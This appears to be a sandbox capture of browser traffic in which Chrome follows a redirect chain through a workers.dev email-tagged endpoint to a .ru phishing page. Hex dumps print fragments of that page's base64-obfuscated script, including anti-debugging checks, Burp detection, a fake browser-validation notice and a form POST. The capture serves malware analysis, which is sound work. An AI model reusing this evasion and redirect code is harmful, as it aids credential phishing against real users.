2025-01-15 12:08:12 UTC	434	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 31 31 34 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 36 34 2e 31 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 35 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6d 67 75 79 2d 61 75 74 68 2d 70 72 6f 74 65 63 74 Data Ascii: [{"age":0,"body":{"elapsed_time":1114,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.64.1","status_code":405,"type":"http.error"},"type":"network-error","url":"https://mguy-auth-protect
2025-01-15 12:08:12 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Wed, 15 Jan 2025 12:08:11 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49775	104.21.32.1	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:08:15 UTC	783	OUT	GET /redirect?email=p8gtut%40dwuyn.io HTTP/1.1 Host: mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://archive1.diqx8fescpsb0.amplifyapp.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:08:15 UTC	856	IN	HTTP/1.1 302 Found Date: Wed, 15 Jan 2025 12:08:15 GMT Content-Length: 0 Connection: close Location: https://zorx.xemitarnor.ru/U6OnAOL/#Mp8gtut@dwuyn.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tC2h32Tg%2F8wcRWCTEGCC68mW6uMUB77h29%2FQxfv84I%2ByXso7%2Bx1XMZLTulTV0t48HQwuLSwVyrSZG7MuA3Jm%2BEfQ8QEZucH1eG4KL4ysUdb%2B9yzKM6riXKGtHBERNAs9vDVRa1cmxHApuqsmHWfPGB7K6334RpwURs0h3vDdnBigBwG3UVe2jB5E6yMysZ8fHdIOVg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9025c00b3ab141a6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1567&min_rtt=1564&rtt_var=593&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2901&recv_bytes=1361&delivery_rate=1834170&cwnd=242&unsent_bytes=0&cid=e84bbe5c9f1b693e&ts=151&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49777	188.114.96.3	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:08:16 UTC	712	OUT	GET /U6OnAOL/ HTTP/1.1 Host: zorx.xemitarnor.ru Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://archive1.diqx8fescpsb0.amplifyapp.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:08:17 UTC	1250	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 12:08:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t%2FcDDx2R7E0XDlkP4O%2FoTaUsu6pUrIMPk5CzmhlQxawtnvs%2F59ni4gXzS%2Fdl7x2lEIvvrAQO9utCBAcQOw8BjY%2Bs%2BezwDvBtOx2if13Cy4zrROlhWTn2601v1yw%2B2Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4926&min_rtt=4872&rtt_var=1470&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1617&delivery_rate=549700&cwnd=230&unsent_bytes=0&cid=fcc882b663918666&ts=178&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6ImRSbmRaY3hxTTdHZlR1NWM5NzJrZXc9PSIsInZhbHVlIjoiS2w5WWlxMGtqZVZvdm9pTWJjUjd3RWlQWGNjdUhURTRKVUNEbUNsRGQ4MUUxWExEZUJJSEdYYkNDNVVTd0dWbWxvbktQMDhJM3dMOWhOQkRTWUVvanFkeVFDQkxrajY2TmJHRDQ1enBCNUpuM0p2REJkbFZSdkIreWV0ZjlDUG8iLCJtYWMiOiI2NzAwOWIyYTZkYzhhNzdjMzdmZmFmZjhiNTEwYWVjY2E4NzNhZDJlM2I0YjM0YjI5NmVhMjljOWNjZGYzNTZjIiwidGFnIjoiIn0%3D; expires=Wed, 15-Jan-2025 14:08:16 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-01-15 12:08:17 UTC	732	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 34 32 4e 55 70 46 57 6c 6c 4d 64 31 68 6a 55 6d 31 7a 4d 6a 6c 55 59 31 4e 58 4f 46 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 51 6e 42 74 65 69 39 6e 4e 55 35 6b 62 7a 56 56 62 31 70 30 64 6a 5a 43 55 44 5a 72 62 47 49 78 4d 7a 6c 4b 4d 33 59 35 4d 6d 46 44 51 55 35 49 57 6e 4e 58 54 47 6c 34 57 47 70 47 4d 30 39 42 53 54 6c 35 4b 30 51 32 4d 56 52 4b 61 55 49 34 55 47 4e 33 55 6d 70 7a 59 7a 4e 53 59 6d 30 79 57 44 42 47 53 6e 56 70 4d 6e 6c 7a 4d 57 74 4b 57 6d 6c 7a 51 30 64 6b 4b 30 4a 4c 4d 46 4e 34 4f 44 64 4c 51 55 56 30 55 33 5a 43 63 45 35 57 55 6b 46 4b 4f 44 52 6f 64 55 68 70 53 46 6c 6c 4e 33 70 33 63 6b 46 74 63 46 59 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Im42NUpFWllMd1hjUm1zMjlUY1NXOFE9PSIsInZhbHVlIjoiQnBtei9nNU5kbzVVb1p0djZCUDZrbGIxMzlKM3Y5MmFDQU5IWnNXTGl4WGpGM09BSTl5K0Q2MVRKaUI4UGN3UmpzYzNSYm0yWDBGSnVpMnlzMWtKWmlzQ0dkK0JLMFN4ODdLQUV0U3ZCcE5WUkFKODRodUhpSFllN3p3ckFtcFY
2025-01-15 12:08:17 UTC	1369	IN	Data Raw: 34 65 37 39 0d 0a 3c 21 2d 2d 20 53 75 63 63 65 73 73 20 69 73 20 77 61 6c 6b 69 6e 67 20 66 72 6f 6d 20 66 61 69 6c 75 72 65 20 74 6f 20 66 61 69 6c 75 72 65 20 77 69 74 68 20 6e 6f 20 6c 6f 73 73 20 6f 66 20 65 6e 74 68 75 73 69 61 73 6d 2e 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 0d 0a 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 36 62 33 4a 34 4c 6e 68 6c 62 57 6c 30 59 58 4a 75 62 33 49 75 63 6e 55 76 56 54 5a 50 62 6b 46 50 54 43 38 3d 22 29 20 3d 3d 20 22 6e 6f 6d 61 74 63 68 22 29 7b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 44 51 6f 38 61 48 52 74 62 43 42 73 59 Data Ascii: 4e79... Success is walking from failure to failure with no loss of enthusiasm. --><script>if(atob("aHR0cHM6Ly96b3J4LnhlbWl0YXJub3IucnUvVTZPbkFPTC8=") == "nomatch"){document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsY
2025-01-15 12:08:17 UTC	1369	IN	Data Raw: 79 5a 57 30 37 66 51 30 4b 49 31 5a 6d 5a 58 5a 54 61 57 74 69 57 46 6b 75 59 32 46 77 64 47 4e 6f 59 53 31 6a 62 32 35 30 59 57 6c 75 5a 58 4a 37 63 47 39 7a 61 58 52 70 62 32 34 36 49 48 4a 6c 62 47 46 30 61 58 5a 6c 4f 33 52 76 63 44 6f 67 4d 54 63 7a 63 48 67 37 4c 79 70 33 61 57 52 30 61 44 6f 67 4d 54 41 77 4a 54 73 71 4c 33 42 68 5a 47 52 70 62 6d 63 74 63 6d 6c 6e 61 48 51 36 49 48 5a 68 63 69 67 74 4c 57 4a 7a 4c 57 64 31 64 48 52 6c 63 69 31 34 4c 43 41 75 4e 7a 56 79 5a 57 30 70 4f 33 42 68 5a 47 52 70 62 6d 63 74 62 47 56 6d 64 44 6f 67 64 6d 46 79 4b 43 30 74 59 6e 4d 74 5a 33 56 30 64 47 56 79 4c 58 67 73 49 43 34 33 4e 58 4a 6c 62 53 6b 37 62 57 46 79 5a 32 6c 75 4c 58 4a 70 5a 32 68 30 4f 69 42 68 64 58 52 76 4f 32 31 68 63 6d 64 70 62 69 Data Ascii: yZW07fQ0KI1ZmZXZTaWtiWFkuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMTczcHg7Lyp3aWR0aDogMTAwJTsqL3BhZGRpbmctcmlnaHQ6IHZhcigtLWJzLWd1dHRlci14LCAuNzVyZW0pO3BhZGRpbmctbGVmdDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7bWFyZ2luLXJpZ2h0OiBhdXRvO21hcmdpbi
2025-01-15 12:08:17 UTC	1369	IN	Data Raw: 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 6c 64 6d 56 75 64 43 35 77 63 6d 56 32 5a 57 35 30 52 47 56 6d 59 58 56 73 64 43 67 70 4f 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 79 5a 58 52 31 63 6d 34 67 5a 6d 46 73 63 32 55 37 44 51 6f 67 49 43 41 67 66 51 30 4b 44 51 6f 67 49 43 41 67 61 57 59 67 4b 41 30 4b 49 43 41 67 49 43 41 67 49 43 41 6f 5a 58 5a 6c 62 6e 51 75 59 33 52 79 62 45 74 6c 65 53 41 6d 4a 69 42 6c 64 6d 56 75 64 43 35 72 5a 58 6c 44 62 32 52 6c 49 44 30 39 50 53 41 34 4e 53 6b 67 66 48 77 4e 43 69 41 67 49 43 41 67 49 43 41 67 4b 47 56 32 5a 57 35 30 4c 6d 4e 30 63 6d 78 4c 5a 58 6b 67 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 63 32 68 70 5a 6e 52 4c 5a 58 6b 67 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 61 32 56 35 51 32 39 6b 5a 53 41 39 50 54 30 Data Ascii: ew0KICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgaWYgKA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0
2025-01-15 12:08:17 UTC	1369	IN	Data Raw: 47 52 6c 59 6e 56 6e 5a 32 56 79 4f 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 6a 62 32 35 7a 64 43 42 57 65 47 6c 52 53 46 46 47 53 55 46 75 49 44 30 67 63 47 56 79 5a 6d 39 79 62 57 46 75 59 32 55 75 62 6d 39 33 4b 43 6b 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 6c 6d 49 43 68 57 65 47 6c 52 53 46 46 47 53 55 46 75 49 43 30 67 57 46 68 7a 56 45 4a 35 53 6d 39 6b 54 79 41 2b 49 48 4e 34 51 31 64 36 5a 57 46 4b 62 57 49 67 4a 69 59 67 49 58 5a 34 61 47 70 32 5a 55 52 53 55 6e 51 70 49 48 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 46 52 6d 56 57 39 55 62 55 6c 48 55 48 55 67 50 53 42 30 63 6e 56 6c 4f 77 30 4b 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 64 6e 68 6f 61 6e 5a 6c 52 46 4a 53 64 43 41 39 49 48 52 79 64 57 55 37 44 51 6f 67 Data Ascii: GRlYnVnZ2VyOw0KICAgICAgICBjb25zdCBWeGlRSFFGSUFuID0gcGVyZm9ybWFuY2Uubm93KCk7DQogICAgICAgIGlmIChWeGlRSFFGSUFuIC0gWFhzVEJ5Sm9kTyA+IHN4Q1d6ZWFKbWIgJiYgIXZ4aGp2ZURSUnQpIHsNCiAgICAgICAgICAgIFRmVW9UbUlHUHUgPSB0cnVlOw0KICAgICAgICAgICAgdnhoanZlRFJSdCA9IHRydWU7DQog
2025-01-15 12:08:17 UTC	1369	IN	Data Raw: 78 30 5a 48 56 68 49 69 42 32 59 57 78 31 5a 54 30 69 56 57 35 72 62 6d 39 33 62 69 49 2b 44 51 6f 38 61 57 35 77 64 58 51 67 64 48 6c 77 5a 54 30 69 61 47 6c 6b 5a 47 56 75 49 69 42 70 5a 44 30 69 59 6d 78 30 5a 47 52 68 64 47 45 69 49 47 35 68 62 57 55 39 49 6d 4a 73 64 47 52 6b 59 58 52 68 49 69 42 32 59 57 78 31 5a 54 30 69 49 6a 34 4e 43 6a 77 76 5a 6d 39 79 62 54 34 4e 43 6a 77 76 5a 47 6c 32 50 67 30 4b 50 47 52 70 64 69 42 6a 62 47 46 7a 63 7a 30 69 64 47 56 34 64 43 31 6a 5a 57 35 30 5a 58 49 69 49 47 6c 6b 50 53 4a 32 64 58 68 45 5a 46 64 4a 61 55 74 50 49 6a 34 4e 43 6c 52 6f 61 58 4d 67 63 47 46 6e 5a 53 42 70 63 79 42 32 59 57 78 70 5a 47 46 30 61 57 35 6e 49 48 6c 76 64 58 49 67 59 6e 4a 76 64 33 4e 6c 63 69 42 6d 62 33 49 67 63 32 56 6a 64 Data Ascii: x0ZHVhIiB2YWx1ZT0iVW5rbm93biI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iYmx0ZGRhdGEiIG5hbWU9ImJsdGRkYXRhIiB2YWx1ZT0iIj4NCjwvZm9ybT4NCjwvZGl2Pg0KPGRpdiBjbGFzcz0idGV4dC1jZW50ZXIiIGlkPSJ2dXhEZFdJaUtPIj4NClRoaXMgcGFnZSBpcyB2YWxpZGF0aW5nIHlvdXIgYnJvd3NlciBmb3Igc2Vjd
2025-01-15 12:08:17 UTC	1369	IN	Data Raw: 4b 49 43 41 67 49 47 5a 6c 64 47 4e 6f 4b 45 68 46 57 55 35 31 64 30 74 4f 52 6c 55 73 49 48 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 62 57 56 30 61 47 39 6b 4f 69 41 69 55 45 39 54 56 43 49 73 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 4a 76 5a 48 6b 36 49 47 35 6c 64 79 42 47 62 33 4a 74 52 47 46 30 59 53 68 30 65 6c 68 4a 51 6d 52 33 51 55 4a 4f 4b 51 30 4b 49 43 41 67 49 48 30 70 4c 6e 52 6f 5a 57 34 6f 63 6d 56 7a 63 47 39 75 63 32 55 67 50 54 34 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 79 5a 58 52 31 63 6d 34 67 63 6d 56 7a 63 47 39 75 63 32 55 75 61 6e 4e 76 62 69 67 70 4f 77 30 4b 49 43 41 67 49 48 30 70 4c 6e 52 6f 5a 57 34 6f 5a 47 46 30 59 53 41 39 50 69 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 6c 6d 4b 47 52 68 64 47 46 62 4a 33 Data Ascii: KICAgIGZldGNoKEhFWU51d0tORlUsIHsNCiAgICAgICAgbWV0aG9kOiAiUE9TVCIsDQogICAgICAgIGJvZHk6IG5ldyBGb3JtRGF0YSh0elhJQmR3QUJOKQ0KICAgIH0pLnRoZW4ocmVzcG9uc2UgPT4gew0KICAgICAgICByZXR1cm4gcmVzcG9uc2UuanNvbigpOw0KICAgIH0pLnRoZW4oZGF0YSA9PiB7DQogICAgICAgIGlmKGRhdGFbJ3
2025-01-15 12:08:17 UTC	1369	IN	Data Raw: 44 52 4d 20 3f 20 71 56 49 5a 76 66 52 54 77 67 2e 68 6f 73 74 6e 61 6d 65 20 3a 20 71 56 49 5a 76 66 52 54 77 67 2e 68 6f 73 74 6e 61 6d 65 2e 73 70 6c 69 74 28 27 2e 27 29 2e 73 6c 69 63 65 28 2d 32 29 2e 6a 6f 69 6e 28 27 2e 27 29 3b 0d 0a 2f 2a 20 54 68 65 20 77 61 79 20 74 6f 20 67 65 74 20 73 74 61 72 74 65 64 20 69 73 20 74 6f 20 71 75 69 74 20 74 61 6c 6b 69 6e 67 20 61 6e 64 20 62 65 67 69 6e 20 64 6f 69 6e 67 2e 20 2a 2f 0d 0a 69 66 28 62 79 46 54 5a 6f 76 73 47 68 20 3d 3d 20 78 6f 48 79 46 47 48 44 52 4d 29 7b 0d 0a 63 6f 6e 73 74 20 75 64 63 4d 63 6e 6b 77 65 57 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 2e 73 70 6c 69 74 28 27 25 32 33 27 29 5b 30 5d 2e 73 70 6c 69 74 28 27 25 33 46 27 29 5b 30 5d 3b 0d Data Ascii: DRM ? qVIZvfRTwg.hostname : qVIZvfRTwg.hostname.split('.').slice(-2).join('.');/* The way to get started is to quit talking and begin doing. */if(byFTZovsGh == xoHyFGHDRM){const udcMcnkweW = window.location.pathname.split('%23')[0].split('%3F')[0];
2025-01-15 12:08:17 UTC	1369	IN	Data Raw: 59 6d 39 30 64 47 39 74 4f 69 34 31 63 6d 56 74 4f 32 5a 76 62 6e 51 74 64 32 56 70 5a 32 68 30 4f 6a 55 77 4d 44 74 73 61 57 35 6c 4c 57 68 6c 61 57 64 6f 64 44 6f 78 4c 6a 49 37 66 51 30 4b 49 31 5a 6d 5a 58 5a 54 61 57 74 69 57 46 6b 67 61 44 52 37 5a 6d 39 75 64 43 31 7a 61 58 70 6c 4f 6d 4e 68 62 47 4d 6f 4d 53 34 7a 4b 54 74 39 44 51 70 41 62 57 56 6b 61 57 45 67 4b 47 31 70 62 69 31 33 61 57 52 30 61 44 6f 78 4d 6a 41 77 63 48 67 70 65 77 30 4b 49 31 5a 6d 5a 58 5a 54 61 57 74 69 57 46 6b 67 61 44 52 37 5a 6d 39 75 64 43 31 7a 61 58 70 6c 4f 6a 45 75 4e 58 4a 6c 62 54 74 39 44 51 70 39 44 51 6f 6a 56 6d 5a 6c 64 6c 4e 70 61 32 4a 59 57 53 42 77 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 4d 44 74 74 59 58 4a 6e 61 57 34 74 59 6d 39 30 64 47 39 Data Ascii: Ym90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI1ZmZXZTaWtiWFkgaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI1ZmZXZTaWtiWFkgaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojVmZldlNpa2JYWSBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9
2025-01-15 12:08:17 UTC	1369	IN	Data Raw: 48 77 67 64 32 6c 75 5a 47 39 33 4c 6c 39 77 61 47 46 75 64 47 39 74 49 48 78 38 49 47 35 68 64 6d 6c 6e 59 58 52 76 63 69 35 31 63 32 56 79 51 57 64 6c 62 6e 51 75 61 57 35 6a 62 48 56 6b 5a 58 4d 6f 49 6b 4a 31 63 6e 41 69 4b 53 6b 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 33 61 57 35 6b 62 33 63 75 62 47 39 6a 59 58 52 70 62 32 34 67 50 53 41 69 59 57 4a 76 64 58 51 36 59 6d 78 68 62 6d 73 69 4f 77 30 4b 66 51 30 4b 5a 47 39 6a 64 57 31 6c 62 6e 51 75 59 57 52 6b 52 58 5a 6c 62 6e 52 4d 61 58 4e 30 5a 57 35 6c 63 69 67 6e 61 32 56 35 5a 47 39 33 62 69 63 73 49 47 5a 31 62 6d 4e 30 61 57 39 75 4b 47 56 32 5a 57 35 30 4b 53 42 37 44 51 6f 67 49 43 41 67 61 57 59 67 4b 47 56 32 5a 57 35 30 4c 6d 74 6c 65 55 4e 76 5a 47 55 67 50 54 30 39 49 44 45 79 Data Ascii: Hwgd2luZG93Ll9waGFudG9tIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5jbHVkZXMoIkJ1cnAiKSkgew0KICAgICAgICB3aW5kb3cubG9jYXRpb24gPSAiYWJvdXQ6YmxhbmsiOw0KfQ0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGV2ZW50KSB7DQogICAgaWYgKGV2ZW50LmtleUNvZGUgPT09IDEy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49778	151.101.130.137	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:08:17 UTC	624	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://zorx.xemitarnor.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:08:17 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2427423 Date: Wed, 15 Jan 2025 12:08:17 GMT X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740060-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 0 X-Timer: S1736942898.681613,VS0,VE1 Vary: Accept-Encoding
2025-01-15 12:08:17 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-01-15 12:08:17 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2025-01-15 12:08:17 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
